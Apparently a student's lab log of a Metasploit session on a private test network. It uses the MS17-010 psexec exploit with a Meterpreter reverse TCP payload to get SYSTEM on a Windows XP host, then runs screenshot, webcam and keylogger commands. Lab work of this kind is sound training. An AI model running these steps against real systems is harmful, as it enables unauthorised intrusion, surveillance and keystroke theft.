

## W17D1

```
msf6 > search MS17-010
Matching Modules

#  Name                                     Disclosure Date Rank Check Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target
2  \ target: Windows 7
3  \ target: Windows Embedded Standard 7
4  \ target: Windows Server 2008 R2
5  \ target: Windows 8
6  \ target: Windows 8.1
7  \ target: Windows Server 2012
8  \ target: Windows 10 Pro
9  \ target: Windows 10 Enterprise Evaluation
10 exploit/windows/smb/ms17_010_psexec      2017-03-14      normal Yes  MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \ target: Automatic
12 \ target: PowerShell
13 \ target: Native upload
14 \ target: MOF upload
15 \ AKA: ETERNALSYNERGY
16 \ AKA: ETERNALROMANCE
17 \ AKA: ETERNALCHAMPION
18 \ AKA: ETERNALBLUE
19 auxiliary/admin/smb/ms17_010_command     2017-03-14      normal No   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \ AKA: ETERNALSYNERGY
```

Interact with a module by name or index. For example `info 32`, `use 32` or `use exploit/windows/smb/smb_doublepulsar_rce`. After interacting with a module you can manually set a TARGET with `set TARGET 'Neutralize implant'`.

```
msf6 > use exploit/windows/smb/ms17_010_psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options
```

Module options (exploit/windows/smb/ms17\_010\_psexec):

Name	Current Setting	Required	Description
DBGTRACE	false	yes	Show extra debug trace info
LEAKATTEMPTS	99	yes	How many times to try to leak transaction
NAMEDPIPE		no	A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES	/usr/share/metasploit-framework/data/wordlists/named_pipes.txt	yes	List of named pipes to check
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit.html</a>
RPORT	445	yes	The Target port (TCP)
SERVICE_DESCRIPTION		no	Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SHARE	ADMIN\$	yes	The share to connect to, can be an admin share (ADMIN\$,C\$,read/write folder share)
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass		no	The password for the specified username
SMBUser		no	The username to authenticate as

Download options (windows/meterpreter/reverse\_tcp):

```

msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.50.110
RHOSTS => 192.168.50.110
msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.110:445 - Target OS: Windows 5.1
[*] 192.168.50.110:445 - Filling barrel with fish... done
[*] 192.168.50.110:445 - <-----| Entering Danger Zone |----->
[*] 192.168.50.110:445 - [*] Preparing dynamite...
[*] 192.168.50.110:445 - [*] Trying stick 1 (x86)... Boom!
[*] 192.168.50.110:445 - [+] Successfully Leaked Transaction!
[*] 192.168.50.110:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.50.110:445 - <-----| Leaving Danger Zone |----->
[*] 192.168.50.110:445 - Reading from CONNECTION struct at: 0x81af4ad8
[*] 192.168.50.110:445 - Built a write-what-where primitive...
[+] 192.168.50.110:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.50.110:445 - Selecting native target
[*] 192.168.50.110:445 - Uploading payload... oTDyOGHL.exe
[*] 192.168.50.110:445 - Created \oTDyOGHL.exe...
[+] 192.168.50.110:445 - Service started successfully...
[*] 192.168.50.110:445 - Deleting \oTDyOGHL.exe...
[*] Sending stage (176198 bytes) to 192.168.50.110
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.110:1035) at 2024-09-10 13:33:40 -0400

meterpreter > sessions
Usage: sessions [options] or sessions [id]
Interact with a different session ID.

```

```

meterpreter > sessions -i 1
[*] Session 1 is already interactive.
meterpreter > route

IPv4 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
0.0.0.0	0.0.0.0	192.168.50.1	10	2
127.0.0.0	255.0.0.0	127.0.0.1	1	1
192.168.50.0	255.255.255.0	192.168.50.110	10	2
192.168.50.110	255.255.255.255	127.0.0.1	10	1
192.168.50.255	255.255.255.255	192.168.50.110	10	2
224.0.0.0	240.0.0.0	192.168.50.110	10	2
255.255.255.255	255.255.255.255	192.168.50.110	1	2

```

No IPv6 routes were found.
meterpreter > sysinfo
Computer      : WINDOWSXP
OS            : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : it_IT
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows
meterpreter > screenshot
Screenshot saved to: /home/kali/cFykErEc.jpeg
meterpreter > webcam_list
[-] No webcams were found
meterpreter > keyscan_start

```

```
meterpreter > keyscan_start
Starting the keystroke sniffer ...
meterpreter > keyscan_stop
Stopping the keystroke sniffer ...
meterpreter > keyscan_dump
Dumping captured keystrokes ...
[-] stdapi_ui_get_keys_utf8: Operation failed: Incorrect function.
meterpreter > █
```